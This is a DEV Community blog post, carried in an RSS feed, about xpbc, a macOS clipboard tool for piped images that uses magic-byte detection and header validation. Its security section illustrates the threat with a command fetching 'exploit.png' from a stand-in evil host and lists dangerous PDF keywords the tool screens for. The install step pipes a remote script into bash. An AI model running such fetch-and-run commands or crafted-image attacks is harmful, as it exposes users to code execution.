<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kazuki Chigita</title>
    <description>The latest articles on DEV Community by Kazuki Chigita (@chigichan24).</description>
    <link>https://dev.to/chigichan24</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1001625%2F8261ae13-0deb-4d4d-8343-09833eadc3e4.png</url>
      <title>DEV Community: Kazuki Chigita</title>
      <link>https://dev.to/chigichan24</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/chigichan24"/>
    <language>en</language>
    <item>
      <title>macOS pbcopy Can't Handle Images — So I Built a Fix</title>
      <dc:creator>Kazuki Chigita</dc:creator>
      <pubDate>Sun, 22 Mar 2026 05:35:57 +0000</pubDate>
      <link>https://dev.to/chigichan24/macos-pbcopy-cant-handle-images-so-i-built-a-fix-497k</link>
      <guid>https://dev.to/chigichan24/macos-pbcopy-cant-handle-images-so-i-built-a-fix-497k</guid>
      <description>&lt;p&gt;If you've ever tried piping an image into &lt;code&gt;pbcopy&lt;/code&gt;, you know the pain: it silently mangles the data, and Cmd+V pastes garbage. That's because &lt;code&gt;pbcopy&lt;/code&gt; is text-only by design — it has no concept of image data on the clipboard.&lt;/p&gt;

&lt;p&gt;I wanted a drop-in replacement that Just Works with images, so I built &lt;strong&gt;&lt;a href="https://github.com/chigichan24/xpbc" rel="noopener noreferrer"&gt;xpbc&lt;/a&gt;&lt;/strong&gt; (eXtended PasteBoard Copy).&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/chigichan24" rel="noopener noreferrer"&gt;
        chigichan24
      &lt;/a&gt; / &lt;a href="https://github.com/chigichan24/xpbc" rel="noopener noreferrer"&gt;
        xpbc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;xpbc&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://github.com/chigichan24/xpbc/actions/workflows/test.yml" rel="noopener noreferrer"&gt;&lt;img src="https://github.com/chigichan24/xpbc/actions/workflows/test.yml/badge.svg" alt="Test"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;eXtended PasteBoard Copy&lt;/strong&gt; — a drop-in enhancement for macOS &lt;code&gt;pbcopy&lt;/code&gt; that supports images.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pbcopy&lt;/code&gt; only handles text. &lt;code&gt;xpbc&lt;/code&gt; automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like &lt;code&gt;pbcopy&lt;/code&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Quick Start&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Copy an image to the clipboard&lt;/span&gt;
cat screenshot.png &lt;span class="pl-k"&gt;|&lt;/span&gt; xpbc

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Copy text (same as pbcopy)&lt;/span&gt;
&lt;span class="pl-c1"&gt;echo&lt;/span&gt; &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;hello&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt; &lt;span class="pl-k"&gt;|&lt;/span&gt; xpbc

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Paste with Cmd+V in any app&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Installer script&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh &lt;span class="pl-k"&gt;|&lt;/span&gt; bash&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;To install to a custom directory:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh &lt;span class="pl-k"&gt;|&lt;/span&gt; bash -s -- /your/custom/path&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The default install directory is &lt;code&gt;~/.local/bin&lt;/code&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;From source&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;Requires Swift 6.0+ and macOS 13+.&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;git clone https://github.com/chigichan24/xpbc.git
&lt;span class="pl-c1"&gt;cd&lt;/span&gt; xpbc
make install PREFIX=&lt;span class="pl-k"&gt;~&lt;/span&gt;/.local&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Usage&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pipe any data into &lt;code&gt;xpbc&lt;/code&gt; via stdin. It automatically detects the format and copies accordingly.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Examples&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Images — detected&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/chigichan24/xpbc" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;screenshot.png | xpbc   &lt;span class="c"&gt;# image lands on clipboard, ready to paste&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"hello"&lt;/span&gt;       | xpbc   &lt;span class="c"&gt;# works exactly like pbcopy for text&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# One-liner install&lt;/span&gt;
curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

&lt;span class="c"&gt;# Or build from source&lt;/span&gt;
git clone https://github.com/chigichan24/xpbc.git
&lt;span class="nb"&gt;cd &lt;/span&gt;xpbc
make &lt;span class="nb"&gt;install &lt;/span&gt;&lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;~/.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Copy images (format is auto-detected)&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;photo.jpg   | xpbc
&lt;span class="nb"&gt;cat &lt;/span&gt;diagram.pdf | xpbc
&lt;span class="nb"&gt;cat &lt;/span&gt;icon.webp   | xpbc

&lt;span class="c"&gt;# Copy text (same as pbcopy)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"some text"&lt;/span&gt; | xpbc
git diff         | xpbc

&lt;span class="c"&gt;# Pipe from other commands&lt;/span&gt;
ffmpeg &lt;span class="nt"&gt;-i&lt;/span&gt; video.mp4 &lt;span class="nt"&gt;-vframes&lt;/span&gt; 1 &lt;span class="nt"&gt;-f&lt;/span&gt; image2pipe - | xpbc
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://example.com/image.png          | xpbc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  How It Works: Magic Bytes Detection
&lt;/h2&gt;

&lt;p&gt;xpbc inspects the first few bytes of stdin to determine the data format — no file extensions, no flags, no guesswork.&lt;/p&gt;

&lt;p&gt;Each format has a unique byte signature (magic bytes). For example, every valid PNG starts with exactly these 8 bytes: &lt;code&gt;89 50 4E 47 0D 0A 1A 0A&lt;/code&gt;. JPEG starts with &lt;code&gt;FF D8 FF&lt;/code&gt;. xpbc checks these signatures to decide how to write to the clipboard.&lt;/p&gt;

&lt;p&gt;The core abstraction is a &lt;code&gt;FormatDetector&lt;/code&gt; protocol:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;protocol&lt;/span&gt; &lt;span class="kt"&gt;FormatDetector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Sendable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;detectedType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;DataType&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;get&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;canDetect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Bool&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here's the PNG detector — clean and simple:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;struct&lt;/span&gt; &lt;span class="kt"&gt;PNGDetector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;FormatDetector&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;detectedType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;DataType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;UInt8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0A&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;canDetect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;elementsEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Detector Ordering Matters
&lt;/h3&gt;

&lt;p&gt;The detectors are checked in order of &lt;strong&gt;signature specificity&lt;/strong&gt; — longest signatures first:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;detectors&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;FormatDetector&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="kt"&gt;PNGDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;      &lt;span class="c1"&gt;// 8 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;GIFDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;      &lt;span class="c1"&gt;// 6 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;WebPDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;     &lt;span class="c1"&gt;// 4+4 bytes at offsets 0,8&lt;/span&gt;
    &lt;span class="kt"&gt;FtypDetector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;    &lt;span class="c1"&gt;// HEIC: 4+4 bytes at offsets 4,8&lt;/span&gt;
    &lt;span class="kt"&gt;FtypDetector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;    &lt;span class="c1"&gt;// AVIF: 4+4 bytes at offsets 4,8&lt;/span&gt;
    &lt;span class="kt"&gt;TIFFDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;     &lt;span class="c1"&gt;// 4 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;PDFDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;      &lt;span class="c1"&gt;// 4 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;JPEGDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;     &lt;span class="c1"&gt;// 3 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;BMPDetector&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;      &lt;span class="c1"&gt;// 2 bytes  ← checked last&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Why does this order matter? BMP's signature is just &lt;code&gt;BM&lt;/code&gt; — two bytes. If checked first, any text file that happens to start with &lt;code&gt;"BM"&lt;/code&gt; would be misidentified as a bitmap image. By checking the 8-byte PNG signature first, the chance of a false positive is astronomically low. The shorter the signature, the later it's checked.&lt;/p&gt;
&lt;h3&gt;
  
  
  Supported Formats
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;th&gt;Signature&lt;/th&gt;
&lt;th&gt;UTI&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PNG&lt;/td&gt;
&lt;td&gt;8-byte header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.png&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG&lt;/td&gt;
&lt;td&gt;3-byte header (&lt;code&gt;FF D8 FF&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.jpeg&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GIF&lt;/td&gt;
&lt;td&gt;6-byte header (&lt;code&gt;GIF87a&lt;/code&gt;/&lt;code&gt;GIF89a&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;com.compuserve.gif&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TIFF&lt;/td&gt;
&lt;td&gt;4-byte header (LE/BE)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.tiff&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BMP&lt;/td&gt;
&lt;td&gt;2-byte header (&lt;code&gt;BM&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;com.microsoft.bmp&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebP&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;RIFF&lt;/code&gt; + &lt;code&gt;WEBP&lt;/code&gt; markers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.webp&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HEIC&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ftyp&lt;/code&gt; + &lt;code&gt;heic&lt;/code&gt; brand&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.heic&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AVIF&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ftyp&lt;/code&gt; + &lt;code&gt;avif&lt;/code&gt; brand&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.avif&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;%PDF&lt;/code&gt; header&lt;/td&gt;
&lt;td&gt;&lt;code&gt;public.pdf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If no image signature matches, xpbc falls back to text mode — same behavior as &lt;code&gt;pbcopy&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why No Image Decoding?
&lt;/h2&gt;

&lt;p&gt;The most well-known tool in this space is &lt;a href="https://gist.github.com/mwender/49609a18be41b45b2ae4#file-impbcopy-m" rel="noopener noreferrer"&gt;impbcopy&lt;/a&gt;, which loads the image via &lt;code&gt;NSImage&lt;/code&gt; and writes it to the clipboard through &lt;code&gt;writeObjects:&lt;/code&gt;. Because &lt;code&gt;NSImage&lt;/code&gt; conforms to &lt;code&gt;NSPasteboardWriting&lt;/code&gt;, the image is internally converted to a TIFF representation before being placed on the clipboard.&lt;/p&gt;

&lt;p&gt;xpbc takes a fundamentally different approach: &lt;strong&gt;it writes raw bytes directly to &lt;code&gt;NSPasteboard&lt;/code&gt; with a single UTI — no decoding, no TIFF conversion.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This works because modern macOS (13+) and Electron-based apps (Slack, Notion, VS Code, etc.) can read &lt;code&gt;public.png&lt;/code&gt; and &lt;code&gt;public.jpeg&lt;/code&gt; directly from the clipboard. The historical need for TIFF as a clipboard lingua franca has faded.&lt;/p&gt;

&lt;p&gt;The real benefit of zero decoding is &lt;strong&gt;a minimal attack surface&lt;/strong&gt;. Image decoders are complex and historically prone to vulnerabilities. By never calling &lt;code&gt;NSImage&lt;/code&gt;, &lt;code&gt;CGImageSource&lt;/code&gt;, or &lt;code&gt;ImageIO&lt;/code&gt;, xpbc avoids this entire class of risk. More on this below.&lt;/p&gt;
&lt;h2&gt;
  
  
  Security: Structural Validation
&lt;/h2&gt;

&lt;p&gt;Here's a scenario to consider:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://evil.example/exploit.png | xpbc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;xpbc itself doesn't decode the image — so xpbc is safe. But the moment a user pastes with Cmd+V, the &lt;strong&gt;receiving application's image decoder&lt;/strong&gt; (typically ImageIO) processes the data. Vulnerabilities like &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-41064" rel="noopener noreferrer"&gt;CVE-2023-41064&lt;/a&gt; — a buffer overflow in ImageIO that enabled arbitrary code execution via a crafted image — show this is a real threat.&lt;/p&gt;

&lt;p&gt;To mitigate this, xpbc includes a &lt;strong&gt;structural validation layer&lt;/strong&gt; that runs after format detection and before clipboard write:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kd"&gt;protocol&lt;/span&gt; &lt;span class="kt"&gt;FormatValidator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Sendable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="nv"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;ValidationResult&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  What Gets Validated
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Format&lt;/th&gt;
&lt;th&gt;Validation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PNG&lt;/td&gt;
&lt;td&gt;IHDR chunk exists, width/height &amp;gt; 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG&lt;/td&gt;
&lt;td&gt;Valid marker after SOI (0xC0–0xFE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GIF&lt;/td&gt;
&lt;td&gt;Logical Screen Descriptor width/height &amp;gt; 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TIFF&lt;/td&gt;
&lt;td&gt;IFD offset within valid range&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BMP&lt;/td&gt;
&lt;td&gt;DIB header size is a known valid value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebP&lt;/td&gt;
&lt;td&gt;VP8/VP8L/VP8X chunk header present&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HEIC/AVIF&lt;/td&gt;
&lt;td&gt;ftyp box size conforms to ISO 14496-12 (&amp;gt;= 12)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;Boundary matching for &lt;code&gt;/JS&lt;/code&gt;, &lt;code&gt;/JavaScript&lt;/code&gt;, &lt;code&gt;/OpenAction&lt;/code&gt;, &lt;code&gt;/AA&lt;/code&gt;, &lt;code&gt;/Launch&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;You can skip validation with &lt;code&gt;--no-validate&lt;/code&gt; for trusted sources.&lt;/p&gt;
&lt;h3&gt;
  
  
  What It Intentionally Does NOT Do
&lt;/h3&gt;

&lt;p&gt;This validation is a &lt;strong&gt;mitigation, not a guarantee&lt;/strong&gt;. xpbc only inspects headers — it never touches the compressed payload. Here's what passes through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Structurally valid but malicious payloads&lt;/strong&gt; — A PNG with a correct header but exploit code buried in the compressed data stream. Catching this would require a full decoder — the very thing xpbc avoids.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zip bombs&lt;/strong&gt; — Valid headers that decompress to enormous sizes. xpbc's 100 MB cap is on raw input, not decompressed output.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Obfuscated PDF keywords&lt;/strong&gt; — Hex-encoded dangerous keywords (&lt;code&gt;/#4A#53&lt;/code&gt; = &lt;code&gt;/JS&lt;/code&gt;) or stream-compressed payloads. A full PDF parser could catch these, but it would itself become a new attack surface.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;xpbc is best described as a &lt;strong&gt;"slightly smart byte forwarder."&lt;/strong&gt; It keeps its own attack surface minimal by refusing to decode anything, while filtering out obviously malformed data before it reaches the clipboard.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;xpbc is a small, focused tool: pipe image data in, get it on the clipboard, paste it anywhere. It supports 9 image formats, validates structural integrity, and avoids the security pitfalls of image decoding.&lt;/p&gt;

&lt;p&gt;Give it a try and let me know what you think:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
